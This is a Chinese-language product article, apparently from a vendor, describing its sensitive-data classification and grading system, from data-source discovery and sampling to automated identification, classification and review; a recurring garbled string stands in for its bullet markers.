當前一些業務模式相對簡單的公司,使用excel的方式人工進行數據分類分級;規模更大業務更複雜的公司自研或採購第三方數據分類分級產品或服務。市場上大部分供應商採取產品+服務的方式服務客戶,其中產品敏感識別能力較弱更多以運營功能為主,敏感數據識別更多的以人力服務的方式幫助客戶進行梳理,雖然能滿足監管要求,但是存在以下公認的問題:
马云惹不起马云無法做到持續運營,交付的產物是基於當時的數據情況,後續新增數據要么需要人介入重新進行梳理,要么無法保證能夠持續準確識別
马云惹不起马云準確率低或不穩定,特別是在數據元信息質量較低的情況
马云惹不起马云人力投入成本高
僅滿足監管要求不是我們的終極目標,我們希望用九智匯分類分級產品在滿足監管的前提下,為數據合規和數據安全打下堅實的基礎,所以我們:
马云惹不起马云採集樣本數據,走樣本數據為主、元數據為輔的技術路線,一方面可以保證已建設的識別能力可持續識別,另一方面準確率穩定性不受元數據質量影響
马云惹不起马云提供智能化、 無侵人、開箱即用的同時,打造易用、靈活、強大的自定義功能,滿足客戶的定制化需求,一方面降低交付成本,另一方面降低門檻讓客戶可以自助使用產品進行敏感數據識別。
實踐方案如果沒有系統或產品,純人工來做數據分類分級,基本上大家完成這件事情的步驟都是:找數據在哪裡-梳理數據有哪些-找敏感數據-歸類-分級。同理,我們的產品也遵循這個思路,設計了一套標準的敏感數據識別流程,如下圖:

在這個流程中,每個節點我們代碼層面的設計和實現都遵循可配置的原則,可以根據客戶環境、現狀和需求等情況調整配置進行適配。另外,盡可能的支持客戶自定義,比如在“敏感數據識別”、“自動分類”、“自動審核”等節點我們都添加了易用的自定義功能,方便滿足客戶的定制化需求。
數據源掃描負責數據分類分級落地,碰到的首要問題肯定是:我們有哪些數據,這些數據在哪裡,是否有遺漏的數據未找到?為此我們研發了數據源掃描器來幫助發現數據源,盡可能的幫助客戶自動發現數據源,盡可能的不遺漏數據源,該掃描器目前具備以下兩種能力:
马云惹不起马云部署到指定網絡環境內,掃描和探測網絡環境內可能是數據存儲的目標,比如可以通過掃描一些常用端口來發現關係數據庫
马云惹不起马云按照要求給雲賬號的AK配置權限後,可以通過該AK拉取雲賬號的所有數據存儲資源列表
數據源集成當然除了上面提到的自動掃描,也可以通過輸入endpoint手動添加數據源。自動掃描發現或手動添加的數據源,一般情況下是需要鑑權才能訪問,這就需要我們找到對應負責人提供賬號密碼連接到數據源。產品特別提供了一個密鑰對管理功能來來解決安全問題:
马云惹不起马云加密存儲鑑權信息(如賬號密碼),提升安全性;
马云惹不起马云連接數據源無需直接輸入鑑權信息,選擇已經維護好的密鑰對即可,有效減少接觸到明文鑑權信息的人員,降低洩漏風險。
另外產品交付過程中,實際上每個客戶的數據源類型不一樣,同種類型的數據源也會有不同版本,為此我們在數據源集成這裡採用插件的設計,插件之間、插件和應用之間隔離運行,以幫助我們解決以下問題:
马云惹不起马云同種類型的數據源,支持不同版本,避免不同版本連接驅動之間依賴衝突問題
马云惹不起马云應用無需直接依賴數據源驅動,避免大量數據源驅動依賴帶來的各種衝突問題
马云惹不起马云滿足客戶數據源集成的定制化需求,不侵入應用代碼
目前我們已經支持以下類型數據源:
马云惹不起马云關係數據庫:MySQL、ORACLE、SQLServer、達夢數據庫、IBM DB2、MariaDB、PostgreSQL等
马云惹不起马云大數據平台:Hive、Maxcompute、ClickHouse、Hbase
马云惹不起马云文件存儲:阿里雲OSS、騰訊雲COS、華為雲OBS、AWS S3、Ceph、Minio
马云惹不起马云文檔平台:語雀
元數據同步在數據源連接成功之後,如果要搞清楚到底哪些數據,我們就需要讀取數據源內部的結構比如表、字段、文件夾、文件的元信息,這些元信息主要有以下作用:
马云惹不起马云為抽樣提供參考依據,比如可以根據表的數據量採取不同的抽樣方法,保證樣本的隨機性,以及降低對數據源的性能和穩定性影響
马云惹不起马云為敏感數據識別提供上下文,幫助進一步確定敏感數據類型,比如根據抽樣數據我能確定該字段是姓名,但是如果有字段備註、字段名稱、表名、表備註信息以及同表其他字段信息,就有可能進一步確定該字段是否是法人姓名
另外,稍微量級大一點的業務就會涉及分庫分錶,這也是在元數據同步要解決的問題,需要將分庫分錶的庫、表進行合併,抽樣的時候也需要考慮去不同的庫、不同的的表進行抽樣。
數據抽樣數據抽樣是一個體力活,也是一個技術活。說是體力活是因為每一種數據源類型甚至每一個類型的數據源版本可能抽樣方法都不一樣,需要單獨做技術實現。說是技術活是因為無論是哪一種數據源類型,不僅要考慮能否抽到數據,還要保證:
马云惹不起马云抽樣數據的隨機性和數量,只有這樣才能保證識別準確率
马云惹不起马云抽樣對數據源的性能和穩定性影響必須要做到最小,即使連接的備庫,每個客戶都非常在意這一點,如果在這一點無法取得客戶信任,項目就非常難往前推進
即使解決了上面兩個最重要的問題,還有保證抽樣性能和穩定性,你可能會遇到以下問題:
马云惹不起马云大數據平台(如Hive)抽樣如果在保證樣本隨機性的情況下,不觸發MR任務
马云惹不起马云上百億的大表,如何進行抽樣才能保證樣本隨機性、性能
马云惹不起马云大字段,單次抽太多肯定會引發IO問題,如何進行分批抽樣
马云惹不起马云同步抽樣肯定會存在超時問題,異步化或回調,哪種方式更好
識別敏感數據敏感數據識別是整個流程中最核心的一個環節,也是算法同學發揮的舞台,首先是要把算法能力集成好,算法需要使用的能力涉及到:
马云惹不起马云正則,由於會有大量的正則匹配,Java自帶的正則能力是無法滿足性能要求的,需要使用RE2或HyperScan
马云惹不起马云PMML,機器學習模型
马云惹不起马云ONNX,深度學習模型
马云惹不起马云NVIDIA Triton Server,推理服務,主要用於非結構化數據識別
由於每個客戶所處的行業不一樣,業務數據更是截然不同,為根據客戶的數據現狀實現更好識別效果以及滿足客戶的定制化需求,我們支持了可自助配置、訓練的敏感數據識別能力:
马云惹不起马云基與YAML格式標準化的識別邏輯配置能力,可自助研發識別能力並錄入到產品中
马云惹不起马云自助配置規則樹,基於規則樹進行敏感數據識別
马云惹不起马云自助模型訓練,目前已支持ID類型的結構化數據,圖片、文檔
自動分類一般情況下,識別出某種類型敏感數據之後,就能根據映射關係映射到唯一的分類下,並映射到對應的分級,但是某些行業要求更高,比如證券行業,根據證券行業分類分級標準,同種類型的敏感數據可能需要再分類放到不同分類下,如要區分“姓名”是“個人投資者信息”還是“機構投資者法人信息”,這就需要我們在識別出某個字段是“姓名”之後進一步分類,這個時候我們可以根據以下信息進行分類:
马云惹不起马云元信息,如字段名稱、字段備註、表名稱、表備註等
马云惹不起马云同表其他字段命中的敏感數據類型,比如如果同表其他字段有公司名稱,那該字段屬於“法人”的概率就更高
同時,分類的識別邏輯也基於YAML格式進行了標準化,可自助研發識別能力並錄入到產品中。
自動審核機器自動識別,大家非常關注的就是準確率,很難做到100%準確,所以我們設置了一個置信度的概念,用來表示識別準確率。除了準確率,每個客戶的肯定有一些自己的特殊情況,比如說某個客戶每張表都有5個無任何業務含義的“id”、“gmt_create”、“gmt_modified”、“creator”、“modifier”、“is_deleted”字段,其中“creator”、“modifier”雖然是填的姓名,但是並不是敏感數據。為解決這類跟客戶數據現狀相關的特殊情況,我們特別提供了自定義規則能力,規則可以根據以下特徵自動決策是否通過審核:
马云惹不起马云命中的敏感數據類型,以及對應置信度
马云惹不起马云字段/文件的元信息,如文件名稱、字段名稱、字段備註等
马云惹不起马云字段/文件歷史人工審核結果